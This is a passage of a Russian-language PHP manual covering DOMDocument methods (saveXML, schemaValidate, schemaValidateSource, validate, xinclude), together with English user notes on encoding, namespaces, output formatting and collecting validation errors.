Method recorded file in UTF-8 encoding. The contents of the file html.html:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251">
<title>Russian language</title>
</head>
<body>?onneee ycue</body>
</html>
naebeth at hotmail dot NOSPAM dot com 24-Sep-2012 10:03
Not mentioned in the documentation is the fact that using DOMDocument::saveHTMLFile() will automatically overwrite the contents if an existing file is used - with no notice, warning or error thrown.

Make sure you check the filename before using this function so that you don't accidentally overwrite important files.

Example:
<?php

$file = fopen('test.html', 'w');
fwrite($file, 'this is some text');
fclose($file);

$doc = new DOMDocument();
$doc->formatOutput = true;
$doc->loadHTML('<html><head><title>Test</title></head><body></body></html>');
$doc->saveHTMLFile('test.html');

// test.html
/*
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251">
<title>Test</title>
</head>
<body></body>
</html>
*/

?>

If you're dynamically generating a series of pages using DOMDocument objects, make sure you are also dynamically generating the file or directory names using something that can't easily be confused for an existing file/folder, or check if the desired path already exists before saving so that you don't accidentally delete previous files.
deep42thouSPAMght42 at y_a_h_o_o dot com 14-Jan-2011 03:46
I foolishly assumed that this function was equivalent to
<?php
file_put_contents($filename, $document->saveHTML());
?>
but there are differences in the generated HTML:
<?php
$doc = new DOMDocument();
$doc->loadHTML(
    '<html><head><title>Test</title></head><body></body></html>'
);
$doc->encoding = 'iso-8859-1';

echo $doc->saveHTML();
#<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
#<html>
#<head><title>Test</title></head>
#<body></body>
#</html>

$doc->saveHTMLFile('output.html');
#<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
#<html><head><meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251"><title>Test</title></head><body></body></html>

?>
Note that saveHTMLFile() adds a UTF-8 meta tag despite the ISO-8859-1 document encoding.


Сохраняет XML-дерево из внутреннего представления в виде строки

  • « DOMDocument::saveHTMLFile
  • DOMDocument::schemaValidate »
  • PHP Manual
  • DOMDocument
  • Сохраняет XML-дерево из внутреннего представления в виде строки

DOMDocument::saveXML

(PHP 5, PHP 7, PHP 8)

DOMDocument::saveXML — Сохраняет XML-дерево из внутреннего представления в виде строки

Описание

public DOMDocument::saveXML(?DOMNode $node = null, int $options = 0): string|false

Создаёт XML-документ из представления DOM. Эту функцию обычно вызывают после построения нового DOM-документа, как показано в примере ниже.

Список параметров

node

Этот аргумент используют для вывода только определённого узла без объявления XML, а не всего документа целиком.

options

Дополнительные настройки. Поддерживаются константы LIBXML_NOEMPTYTAG и LIBXML_NOXMLDECL. До версии PHP 8.3.0 поддерживалась только константа LIBXML_NOEMPTYTAG.

Возвращаемые значения

Возвращает XML или false в случае возникновения ошибки.

Ошибки

DOM_WRONG_DOCUMENT_ERR

Возникает, если node принадлежит другому документу.

Список изменений

Версия | Описание
8.3.0 | Теперь поддерживается константа LIBXML_NOXMLDECL.

Примеры

Пример #1 Сохранение DOM-дерева в виде строки

<?php

$doc = new DOMDocument('1.0');
// мы хотим красивый вывод
$doc->formatOutput = true;

$root = $doc->createElement('book');
$root = $doc->appendChild($root);

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('Это заголовок');
$text = $title->appendChild($text);

echo "Сохранение всего документа:\n";
echo $doc->saveXML() . "\n";

echo "Сохранение только заголовка:\n";
echo $doc->saveXML($title);

?>

Результат выполнения приведённого примера:

Сохранение всего документа:
<?xml version="1.0"?>
<book>
  <title>Это заголовок</title>
</book>

Сохранение только заголовка:
<title>Это заголовок</title>

Смотрите также

  • DOMDocument::save() - Сохраняет XML-дерево из внутреннего представления в файл
  • DOMDocument::load() - Загрузка XML из файла
  • DOMDocument::loadXML() - Загрузка XML из строки

User Contributed Notes

liumenglei0211 at 163 dot com 17-Jan-2019 07:50
How to display two tags when the node content is empty.

<?php
$dom     = new \DOMDocument('1.0');
$document = $dom->createElement('document');
$document = $dom->appendChild($document);
$head = $dom->createElement('title','this is title');
$content = $dom->createElement('content','');
$document->appendChild($head);
$document->appendChild($content);
echo $dom->saveXML();
?>

In XML, they are considered exactly the same thing, and any parser should recognize both forms.However, you can write it this way if you still need it

<?php
echo $dom->saveXML($dom->documentElement, LIBXML_NOEMPTYTAG);
?>

Example 1:

<?xml version="1.0"?>
<document>
    <title>this is title</title>
    <content/>
</document>

Example 2:
<document>
    <title>this is test</title>
    <content></content>
</document>
Frank 29-Mar-2017 06:40
I would like to create a DOM document Xml Guestbook ..can somebody help to me?

Username, Comments in form read/write the task.

Thanks if somebody save me :)
Alexander Fedulin 05-Mar-2014 08:29
As @fbernodi said earlier, there is a problem with saveXML of DOMNode when you have a number of defined namespaces. The simple solution for this:

<code>
   // $node is some node of some other document
   $temp_document = new DOMDocument('1.0', 'utf-8');
   $temp_document->appendChild($temp_document->importNode($node, true));
   echo $temp_document->saveXML();
</code>
fbernoldi at gmail dot com 01-Aug-2013 08:24
Hello,

I had an unexpected behavior in some parsing code, because of this saveXML method that is saving the tags without namespace specification. If you try to load into a DOMDocument a string saved from a DOMNode that has a referenced namespace but it the original document it was not defined in that element, you get a not well formed xml. In the example you can see the issue and a possible solution, the other solution may be add to the ChildElement node the namespace reference (<testNS:ChildElement testNS="http://example.org">), but in my scenario it was not needed.

<?php

//Test XML
$test_xml =
"<?xml version=\"1.0\"?>
<testNS:RootNode xmlns:testNS=\"http://example.org\">
    <testNS:ChildElement>
        <testNS:AnotherChildElement>I'm a Another Child node.</testNS:AnotherChildElement>
    </testNS:ChildElement>
</testNS:RootNode>";

//We define our Test DOMDocument
$domDoc = new DOMDocument("1.0");
$domDoc->loadXML($test_xml);

//We use xpath to search ChildElement:
$domXPath = new DOMXPath($domDoc);
$domXPath->registerNamespace("testNS", "http://example.org");
$DOMNodeList_ChildElement = $domXPath->query("//testNS:RootNode/testNS:ChildElement");
$ChildElement = $DOMNodeList_ChildElement->item(0);

echo "Not usefull xml to load in another document:\n\n";
echo $domDoc->saveXML($ChildElement);

/* Output here:
 *
 * Not usefull xml to load in another document:
 *
 *  <testNS:ChildElement>
 *        <testNS:AnotherChildElement>I'm a Another Child node.</testNS:AnotherChildElement>
 *    </testNS:ChildElement>
 *
 */

/**
 * Function to help us clone the element to another document.
 * @param DOMElement $node The node to clone.
 * @param DOMDocument $doc The document where we are going to reference the elements.
 * @return DOMElement The new cloned element without namespace.
 */
function cloneNode($node, $doc) {
    //Create new element with the original localName (w/o namespace)
    $nd = $doc->createElement($node->localName);

    //Clone attributes
    foreach($node->attributes as $value)
        $nd->setAttribute($value->localName, $value->value);

    //No more childs then we finish.
    if (!$node->childNodes)
        return $nd;
    //We have childs, add them
    foreach($node->childNodes as $child) {
        if ($child->nodeName=="#text") //Only needed to clone text nodes, i.e. text comments, spaces, tabs. etc.
            $nd->appendChild($doc->createTextNode($child->nodeValue));
        else
            $nd->appendChild(cloneNode($child, $doc)); //recursion to clone all children.
    }
    return $nd;
}

//New Document to reference the new node without namespaces
$domDoc2 = new DOMDocument("1.0");

//We clone this node taking out the namespace
$new_node = cloneNode($ChildElement, $domDoc2);

echo "\n\nWe can load this into a DOMDocument without problems:\n\n";
echo $domDoc2->saveXML($new_node);

/*
 * We can load this into a DOMDocument without problems:
 *
 *    <ChildElement>
 *        <AnotherChildElement>I'm a Another Child node.</AnotherChildElement>
 *    </ChildElement>
 */

?>
xianrenb at gmail dot com 15-Jul-2012 10:54
If you want to save xhtml (in a string), you may try the following method:
<?php
    $doc = new DOMDocument('1.0');

    // ...

    $xhtml = (string) $doc->saveXML($doc->doctype);
    $xhtml .= "\n";
    $xhtml .= (string) $doc->saveXML($doc->documentElement);
?>
samstah at gmail dot com 19-Mar-2010 03:56
We discovered using DOMDocument::saveHTML() that it converts to HTML 4.01 compatible markup; rather than XHTML. The simple answer is to use saveXML() instead, although this adds the XML declaration to the top.

To qjerry.com at gmail.com, thanks for the pointer below - but I think that the simplest way seems to be using:
<?php $domDocument->saveXML($domDocument->documentElement); ?>

Of course, if you're dealing with XHTML, this will strip any <!DOCTYPE> declarations in the document too.
qjerry.com at gmail.com 04-May-2009 04:24
The simpliest (and probably the fastest) way to strip an XML declaration (<?xml version="1.0" ... ?>) out of output document, is to output child nodes of DOMDocument separately:

<?php

$document = new DOMDocument();
$document->load('/some/file.xml');

// this will also output doctype and comments at top level
foreach($document->childNodes as $node)
    $result .= $document->saveXML($node)."\n";

echo $result;

?>

This might be userful when dealing with browser compatibility issues, for example, well known problem with valid XHTML in IE6.
vikramvmalhotra at hotmail dot com 27-Jan-2009 03:49
if you are storing multi-byte characters in XML, then saving the XML using saveXML() will create problems. It will spit out the characters converted in encoded format.

<?php
$str = domdoc->saveXML(); // gives "&x#1245;" some encoded data
?>

Instead do the following

<?php
$str = domdoc->saveXML(domdoc->documentElement); // gives "??????" correct multi-byte data
?>
shinsh at shinmugen dot net 23-May-2008 07:57
Be careful, this function has been changed in 5.2.6 version. Adding a required parameter which is not that required wasn't the most intelligent idea ever, especially for a function which is often used.

To fix your programs if you have an error, fill the first parameter like this:

$dom->saveXML($dom->documentElement);

Why didn't the devs simply implement this as optional parameter, fixing the default parameter as documentElement?
Kriogen 26-Dec-2007 12:57
Create before test.xml with:
<?xml version="1.0" encoding="utf-8"?>
<Photos>
</Photos>

and past after in your php-file:

<?php
$simp = simplexml_load_file('test.xml');
$node = $simp->addChild('home');
$node->addChild('mychild', 'insert text');
$s = simplexml_import_dom($simp);
$s->saveXML('test.xml');
?>

This code creating a child-nod in the root.
Owner http://www.mensfashion.ru
JITR 02-Aug-2007 05:10
Comment to `devin at SPAMISBAD dot tritarget dot com''s post:

Thanks for pointing out the pitfalls of `formatOutput' vs. `load*()'. This has certainly saved me from some possible surprises.

I think the seemingly strange behaviour can be explained. Warning: The following stuff is mostly based on deductions and experiments. Much less on studying the sources and specs (I'm not sure some of these would provide answer anyway, at least not easily).

As you point out, `preserveWhiteSpace' must be set before loading the DOM from the source string (I'm working with `loadXML()' but I believe the situation should be the same with `load()' you used). This looks logical, as this property seems to control the parsing and DOM creation process during which text nodes containing the whitespace are either included or dropped. This can be proven by dumping the DOM structure and comparing the results based on the value of `preserveWhiteSpace'. With `preserveWhiteSpace' set to `FALSE', no text nodes containing whitespace will be present in the returned DOM. When this property is `TRUE', these nodes will be present.

Note: When speaking about the whitespace in the previous paragraph, we're most certainly speaking about so called `whitespace in element content' or `element content whitespace', if I'm not mistaken. See also my comment in the notes of `DOMText->isWhitespaceInElementContent()' method.

As for the mysterious effect on the output of `saveXLM()', I think the explanation lies in the presence or absence of the above mentioned whitespace text nodes. This was also proven by experiments: After adding such a node into a DOM which contained none (the DOM was created using `loadXML()' with `preserveWhiteSpace' set to `FALSE'), the output formatting got affected in a such a way, the formatting got lost for the rest of the document after the added node. I think the presence of whitespace text nodes forces such rendering, that the content of these nodes is used to separate adjoining nodes thus disabling default formatting. Only when there are no such text nodes present, the ouput formatting takes effect (provided the `formatOutput' is set to `TRUE', of course).

Well, the thing I don't really understand is how you did get an output of a signle line with `formatOutput' set to `TRUE'. This has happened to me when no whitespace text nodes were present (ie. when loading the XML with `preserveWhiteSpace' set to `FALSE') *and* with `formatOutput' set to *`FALSE'* (with the opposite value of `formatOutput', the formatting should do it's work and you should not end up with just one line). But I haven't seen your source. Perhaps you had whitespace nodes containing no new-lines in your DOM?

As for the CAUTION about root element, I didn't see any problems with empty root element neither in shortened nor full form. What did you have in mind, when you said it `WORKS' or `DOES NOT WORK'?
Sander 25-Apr-2007 05:35
Note that for large DOM trees (tens of thousands of elements nested at least a few levels deep), setting formatOutput to true drives up memory usage to rather insane levels when you call saveXML(). (Tested with PHP 5.2.1) Pretty output is not worth that cost.
nevyn at NOSPAM dot email dot PLEASE dot it 27-Dec-2006 01:41
A little function to get the full xml contents of a Xml node.

function innerXml($node)
{
    $out = $node->ownerDocument->saveXML($node);
    $re = "{^<(\\w*)(?:\\s*\\w+=(?:\"[^\"]*\"|\'[^\']*\'))*\\s*>(.*)</\\1>$}";
    preg_match($re, $out, $mat);
    return $mat[2];
}
devin at SPAMISBAD dot tritarget dot com 14-Aug-2006 10:52
It took some searching to figure this one out. I didn't see much in the way of explaining this glitch in the manual thus far. (For PHP5 I believe)

formatOutput = true; appears to fail when the origin of the DOM came from a file via load(). EX:

<?php
    $dom = new DOMDocument();
    $dom->load ("test.xml");
    $dom->formatOutput = true;

    $new_tag = $dom->createElement ('testNode');
    $new_tag->appendChild (
        $dom->createElement ('test', 'this is a test'));
    $dom->documentElement->appendChild ($new_tag);

    printf ("<pre>%s</pre>", htmlentities ($dom->saveXML()));
?>

Will not indent the output and will display the modified nodes all in one long line. Makes for editing a config.xml a bit difficult when saving to a file.

By adding the preserveWhiteSpace = false; BEFORE the load() the formatOutput works as expected. EX:

<?php
    $dom = new DOMDocument();
    $dom->preserveWhiteSpace = false;
    $dom->load ("test.xml");
    $dom->formatOutput = true;

    $new_tag = $dom->createElement ('testNode');
    $new_tag->appendChild (
        $dom->createElement ('test', 'this is a test'));
    $dom->documentElement->appendChild ($new_tag);

    printf ("<pre>%s</pre>", htmlentities ($dom->saveXML()));
?>

CAUTION: If your loaded xml file (test.xml) has an empty root node that is not shortened or has no children this will NOT work.

Example:

DOES NOT WORK:
<?xml version="1.0"?>
<root>
</root>

WORKS:
<?xml version="1.0"?>
<root/>

WORKS:
<?xml version="1.0"?>
<root>
  <!-- comment -->
</root>

WORKS:
<?xml version="1.0"?>
<root>
  <child/>
</root>
26-Mar-2006 04:20
I used the function posted by "joe" but the following works to me for get the innerXML
<?php
$itemLeido = $XMLRespuesta->getElementsByTagName("articulos");
foreach($itemLeido as $node) {
    echo($node->ownerDocument->saveXML($node));
}
?>
mswiercz at mwerk dot com 10-Sep-2004 03:43
Quick tip to minimize memory when generating documents with DOM.

Rather than using
   $xmlStr = DOMDocument->saveXML();
   echo $xmlStr;

to dump a large DOM to the output buffer, use a PHP output stream, as in

   DOMDocument->save('php://output');

A lot of memory will be saved when generating large DOMs.
padys at tlen dot pl 05-Aug-2004 07:36
When you save whole document:
DOMDocument->saveXML() produces string in encoding defined in property DOMDocument->encoding.

When you save only one node:
DOMDocument->saveXML(DOMNode) produces always string in UTF-8.


Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.

  • « DOMDocument::saveXML
  • DOMDocument::schemaValidateSource »
  • PHP Manual
  • DOMDocument
  • Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.

DOMDocument::schemaValidate

(PHP 5, PHP 7, PHP 8)

DOMDocument::schemaValidate — Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.

Описание

public DOMDocument::schemaValidate(string $filename, int $flags = 0): bool

Проверяет документ на действительность, основываясь на файле схемы.

Список параметров

filename

Путь к файлу со схемой.

flags

Битовая маска флагов проверки схемы Libxml. На данный момент поддерживается только одно значение LIBXML_SCHEMA_CREATE. Параметр доступен, начиная с Libxml 2.6.14.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMDocument::schemaValidateSource() - Проверяет действительность документа, основываясь на схеме
  • DOMDocument::relaxNGValidate() - Производит проверку документа на правильность построения посредством relaxNG
  • DOMDocument::relaxNGValidateSource() - Проверяет документ посредством relaxNG
  • DOMDocument::validate() - Проверяет документ на соответствие его DTD

User Contributed Notes

mmamsch at googlemail dot com 16-Sep-2015 10:01
A note for people trying to validate complex schemas with PHP.  It seems that libxml will not automatically try to import referenced schemas, but simply skip the validation if the schemas were not explicitly imported.

In our example we tried to validate an XML file against a schema with the namespace "xttp://automotive-his.de/200706/rif" that contains a reference to the namespace "xttp://automotive-his.de/200706/rif-xhtml":

  <xsd:complexType name="XHTML-CONTENT">
    <xsd:sequence>
      <xsd:any namespace="xttp://automotive-his.de/200706/rif-xhtml"/>
    </xsd:sequence>
  </xsd:complexType>

which basically says that an xhtml-content element can contain any element from the rif-xhtml namespace.

However since libxml does not know where to find the schema file, it will stop the validation if the elements from the referenced namespace, passing also document with invalid xhtml content as valid.

The solution was to create a combined schema, which contains import statements for all files matching the referenced schemas:

<xsd:schema xmlns:xs="xttp://www.w3.org/2001/XMLSchema">
<xs:import namespace="xttp://automotive-his.de/200706/rif-xhtml" schemaLocation="rif-xhtml.xsd"/>
<xs:import namespace="xttp://automotive-his.de/200706/rif" schemaLocation="rif.xsd"/>
<xs:import namespace="xttp://www.w3.org/XML/1998/namespace" schemaLocation="../xml.xsd"/>
</xsd:schema>

Note that the schemaLocation tells the validator, where to find the files for the corresponding namespaces. When validating the XML document against this combined schema, libxml validated correctly the content inside the XHTML-Content.

Hope this helps someone out there.
wkoehler at ce-gmbh dot com 11-Jan-2011 02:37
In older versions of PHP5 this function might cause error messages when dealing with namespaces. I had problems with PHP 5.2.14 which comes with libXML V2.6.16. After switching to PHP 5.3.5 with libXML V2.7.7 I no longer had problems. Took me only about 30 hrs to figure that one out.
NetPanther 27-Mar-2009 01:42
Initial situation:
- Debian Lenny
- Apache 2 with PHP 5.2.6
- libxml 2.6.32

Problem: While trying to validate a manually created (!) DOMDocument against an existing XML Schema, I ran into a warning like the one below. Validation fails, even though the document IS valid and the command line tool xmllint confirms this (even with libxml 2.6.32, so this must be a problem with DOM). The validation works fine with libxml 2.7.3.

Warning: DOMDocument::schemaValidate() [domdocument.schemavalidate]: Element 'YourRootElementName': No matching global declaration available for the validation root. in /var/www/YourFile.php on line X

Solution: As libxml 2.7.3 is not provided for Debian Lenny yet and this problem seems to be caused by DOM (s.o.), I currently use the following workaround on my machines. DOM obviously has some namespace problems with documents, that have been created manually (i.e. they were not loaded from a file).

So my workaround is saving the DOMDocument temporarily, re-loading it and then validating the temporary DOMDocument. Strangely enough the validation of the same document (= same content) now works. Sure, creating a temporary file is not a nice solution, but unless this bug is fixed, this workaround should do just fine.

<?php

// Works with libxml 2.7.3 and higher.
public function isValid()
{
  return $this->dom->schemaValidate('schema.xsd');
}

// Workaround for prior libxml versions, e.g. 2.6.32.
public function isValid()
{
  // Create temporary file and save manually created DOMDocument.
  $tempFile = time() . '-' . rand() . '-document.tmp';
  $this->dom->save($tempFile);

  // Create temporary DOMDocument and re-load content from file.
  $tempDom = new DOMDocument();
  $tempDom->load($tempFile);

  // Delete temporary file.
  if (is_file($tempFile))
  {
    unlink($tempFile);
  }

  // Validate temporary DOMDocument.
  return $tempDom->schemaValidate('schema.xsd');
}

?>
poletto at jeuxvideo dot com 13-Feb-2008 12:32
I had a tricky issue using this method, i thought it was bug but i realized i misundestood something about namespaces.
When you want to use a schema to describe an xml document, you basically put the default namespace to a personnal namespace (and you refer to this namespace in the targetNamespace attribute of your schema).

<?xml version="1.0" encoding="utf-8"?>
<root xmlns="http://my.uri.net">
  <elt>
    <x>blabla</x>
    <y>blabla</y>
  </elt>
</root>

That xmlns attribute specifies a "default namespace" and means that the root element and its children are in this namespace.
What i misunderstood is that, there's no way with the DOM api to specify a "default namespace" for each children of the root element.
Thus you may need to use createElementNS() and createAttributeNS() methods for each created element or attribute in the document specifying the URI of your namespace each time ("http://my.uri.net").

This only applies if you want to validate a document built with the API, not with a document loaded from an xml file or stream.
justin at redwiredesign dot com 08-Nov-2006 03:32
In his previous comment, Mike A wrote about validating documents using an XSD. However, you can validate without one. In my case, I needed to ensure that the content entered was just valid XML or not, and I couldn't find an XSD to support that. So I wrote this:

public static function validate($xml)
{
    libxml_use_internal_errors(true);

    $doc = new DOMDocument('1.0', 'utf-8');
    $doc->loadXML($xml);

    $errors = libxml_get_errors();
    if (empty($errors))
    {
        return true;
    }

    $error = $errors[0];
    if ($error->level < 3)
    {
        return true;
    }

    $lines = explode("\r", $xml);
    $line = $lines[($error->line)-1];

    $message = $error->message.' at line '.$error->line.':<br />'.htmlentities($line);

    return $message;
}

The catch here is that the function only checks for the first error is LIBXML_ERR_FATAL, which would break XSL/XML compilation.

In my experience, the errors are returned by libxml_get_errors in descending severity, so this may be an OK thing to do.
Mike A. 17-Feb-2006 12:03
For more detailed feedback from DOMDocument::schemaValidate, disable libxml errors and fetch error information yourself.  See http://php.net/manual/en/ref.libxml.php for more info.

example.xml
<?xml version="1.0"?>
<example>
    <child_string>This is an example.</child_string>
    <child_integer>Error condition.</child_integer>
</example>

example.xsd
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified">
    <xs:element name="example">
        <xs:complexType>
            <xs:sequence>
                <xs:element name="child_string" type="xs:string"/>
                <xs:element name="child_integer" type="xs:integer"/>
            </xs:sequence>
        </xs:complexType>
    </xs:element>
</xs:schema>

<?php

function libxml_display_error($error)
{
    $return = "<br/>\n";
    switch ($error->level) {
        case LIBXML_ERR_WARNING:
            $return .= "<b>Warning $error->code</b>: ";
            break;
        case LIBXML_ERR_ERROR:
            $return .= "<b>Error $error->code</b>: ";
            break;
        case LIBXML_ERR_FATAL:
            $return .= "<b>Fatal Error $error->code</b>: ";
            break;
    }
    $return .= trim($error->message);
    if ($error->file) {
        $return .=    " in <b>$error->file</b>";
    }
    $return .= " on line <b>$error->line</b>\n";

    return $return;
}

function libxml_display_errors() {
    $errors = libxml_get_errors();
    foreach ($errors as $error) {
        print libxml_display_error($error);
    }
    libxml_clear_errors();
}

// Enable user error handling
libxml_use_internal_errors(true);

$xml = new DOMDocument();
$xml->load('example.xml');

if (!$xml->schemaValidate('example.xsd')) {
    print '<b>DOMDocument::schemaValidate() Generated Errors!</b>';
    libxml_display_errors();
}

?>

Old error message:
Warning: DOMDocument::schemaValidate() [function.schemaValidate]: Element 'child_integer': 'Error condition.' is not a valid value of the atomic type 'xs:integer'. in example.php on line 40

New error message:
DOMDocument::schemaValidate() Generated Errors!
Error 1824: Element 'child_integer': 'Error condition.' is not a valid value of the atomic type 'xs:integer'. in example.xml on line 4


Проверяет действительность документа, основываясь на схеме

  • « DOMDocument::schemaValidate
  • DOMDocument::validate »
  • PHP Manual
  • DOMDocument
  • Проверяет действительность документа, основываясь на схеме

DOMDocument::schemaValidateSource

(PHP 5, PHP 7, PHP 8)

DOMDocument::schemaValidateSource — Проверяет действительность документа, основываясь на схеме

Описание

public DOMDocument::schemaValidateSource(string $source, int $flags = 0): bool

Проверяет соответствие документа переданной через строку схеме.

Список параметров

source

Строка, содержащая схему.

flags

Битовая маска флагов проверки схемы Libxml. На данный момент поддерживается только одно значение LIBXML_SCHEMA_CREATE. Параметр доступен, начиная с Libxml 2.6.14.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • DOMDocument::schemaValidate() - Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.
  • DOMDocument::relaxNGValidate() - Производит проверку документа на правильность построения посредством relaxNG
  • DOMDocument::relaxNGValidateSource() - Проверяет документ посредством relaxNG
  • DOMDocument::validate() - Проверяет документ на соответствие его DTD

User Contributed Notes

There are no user contributed notes for this page.


Проверяет документ на соответствие его DTD

  • « DOMDocument::schemaValidateSource
  • DOMDocument::xinclude »
  • PHP Manual
  • DOMDocument
  • Проверяет документ на соответствие его DTD

DOMDocument::validate

(PHP 5, PHP 7, PHP 8)

DOMDocument::validate — Проверяет документ на соответствие его DTD

Описание

public DOMDocument::validate(): bool

Проверяет документ на действительность, основываясь на его DTD.

Также можно использовать свойство validateOnParse класса DOMDocument для выполнения проверки DTD.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка. Если нет DTD, присоединённых к документу, этот метод вернёт false.

Примеры

Пример #1 Пример проверки DTD

<?php
$dom = new DOMDocument;
$dom->load('book.xml');
if ($dom->validate()) {
echo "Документ является действительным!\n";
}
?>

Также можно проверять XML-файл во время его загрузки:

<?php
$dom = new DOMDocument;
$dom->validateOnParse = true;
$dom->load('book.xml');
?>

Смотрите также

  • DOMDocument::schemaValidate() - Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.
  • DOMDocument::schemaValidateSource() - Проверяет действительность документа, основываясь на схеме
  • DOMDocument::relaxNGValidate() - Производит проверку документа на правильность построения посредством relaxNG
  • DOMDocument::relaxNGValidateSource() - Проверяет документ посредством relaxNG

User Contributed Notes

cabral dot brc at gmail dot com 08-Sep-2010 12:46
I was trying to validate my SVG file just to get the IDs with getElementById(),

<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<text id="text_titulo" x="150" y="20" font-family="Arial" font-size="15px" style="font-weight:bold;">Title</text>
<text id="text_subtitulo" x="200" y="35" font-family="Arial" font-size="10px">Sub Title</text>
<g transform="translate(0,50) scale(0.1)">
  <a id="a_AC" ...... >
    <polygon id="polygon_AC" ....... />
  </a>
</g>
</svg>

but when calling $dom->load(), it was getting the errors "failed to open stream" and "Validation failed: no DTD found !I/O warning : failed to load external entity"
so I created my own validation wrapper (I just want to find the IDs with getElementById() )

<?php
  $docSVG = new DOMDocument();
  $docSVG->load(realpath($filepath));
  setAllId($docSVG);

function setAllId($DOMNode){
  if($DOMNode->hasChildNodes()){
    foreach ($DOMNode->childNodes as $DOMElement) {
      if($DOMElement->hasAttributes()){
        $id=$DOMElement->getAttribute("id");
        if($id){
          $DOMElement->setIdAttribute("id",$id);
        }
      }
      setAllId($DOMElement);
    }
  }
}
?>
a dot schaffhirt at sedna-soft dot de 17-Sep-2008 02:22
When validating documents with this method there are two issues I don't like about it. First, it creates a bunch of warnings, which one would not expect, as the plot of calling this method is preventing any warnings that could occur when erroneously relying on the document's validity. Second, it only returns a boolean with no chance of getting additional details about the reasons for rendering invalid.

That's the reason for me to use a little wrapper, which I post here in case anyone finds it useful.

Please note that it only works with PHP5 or later.

<?php
    class MyDOMDocument {
        private $_delegate;
        private $_validationErrors;

        public function __construct (DOMDocument $pDocument) {
            $this->_delegate = $pDocument;
            $this->_validationErrors = array();
        }

        public function __call ($pMethodName, $pArgs) {
            if ($pMethodName == "validate") {
                $eh = set_error_handler(array($this, "onValidateError"));
                $rv = $this->_delegate->validate();
                if ($eh) {
                    set_error_handler($eh);
                }
                return $rv;
            }
            else {
                return call_user_func_array(array($this->_delegate, $pMethodName), $pArgs);
            }
        }
        public function __get ($pMemberName) {
            if ($pMemberName == "errors") {
                return $this->_validationErrors;
            }
            else {
                return $this->_delegate->$pMemberName;
            }
        }
        public function __set ($pMemberName, $pValue) {
            $this->_delegate->$pMemberName = $pValue;
        }
        public function onValidateError ($pNo, $pString, $pFile = null, $pLine = null, $pContext = null) {
            $this->_validationErrors[] = preg_replace("/^.+: */", "", $pString);
        }
    }
?>

<?php
    // $doc is a DOMDocument object
    $myDoc = new MyDOMDocument($doc); // copy constructor

    // do anything with $myDoc that you would with $doc

    $isValid = $myDoc->validate(); // won't create warnings
    if (!$isValid) {
        print_r($myDoc->errors); // the array all warnings are collected in
    }
?>

Maybe you need to change the the part
preg_replace("/^.+: */", "", $pString)
to something different depending on your system's error reporting settings (HTML or plain text), whatsoever

Best Regards,

Anja
darren at viamedia dot co dot za 05-Aug-2008 07:19
If you are loading xml with the intention of validating it against an internal dtd and you have experienced issues with the validation it could be related to missing LIBXML constants.

I found this post by "aidan at php dot net" in root level dom docs and thought it might be more useful here:
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:
<?php
$dom = new DOMDocument;
// Resolve externals
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);
// OR
// Validate against DTD
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
$dom->validate();
?>


Проводит вставку XInclude в объекте DOMDocument

  • « DOMDocument::validate
  • DOMDocumentFragment »
  • PHP Manual
  • DOMDocument
  • Проводит вставку XInclude в объекте DOMDocument

DOMDocument::xinclude

(PHP 5, PHP 7, PHP 8)

DOMDocument::xinclude — Проводит вставку XInclude в объекте DOMDocument

Описание

public DOMDocument::xinclude(int $options = 0): int|false

Этот метод вставляет » блоки XInclude в объекте класса DOMDocument.

Замечание:

Из-за того, что libxml2 автоматически разрешает сущности, вызов этого метода приведёт к неожидаемым результатам в случае, когда XML-файл содержит прикреплённую схему DTD.

Список параметров

options

Побитовое ИЛИ (OR) констант опций libxml.

Возвращаемые значения

Возвращает количество XInclude в документе, -1 если при обработке произошла ошибка, либо false, если не было произведено ни одной замены.

Примеры

Пример #1 Пример использования DOMDocument::xinclude()

<?php

$xml = <<<EOD
<?xml version="1.0" ?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
<title>Books of the other guy..</title>
<para>
<xi:include href="book.xml">
<xi:fallback>
<error>xinclude: book.xml not found</error>
</xi:fallback>
</xi:include>
</para>
</chapter>
EOD;

$dom = new DOMDocument;

// оформим вывод красиво
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;

// загрузка XML-строки, определённой выше
$dom->loadXML($xml);

// вставка блоков xinclude
$dom->xinclude();

echo $dom->saveXML();

?>

Вывод приведённого примера будет похож на:

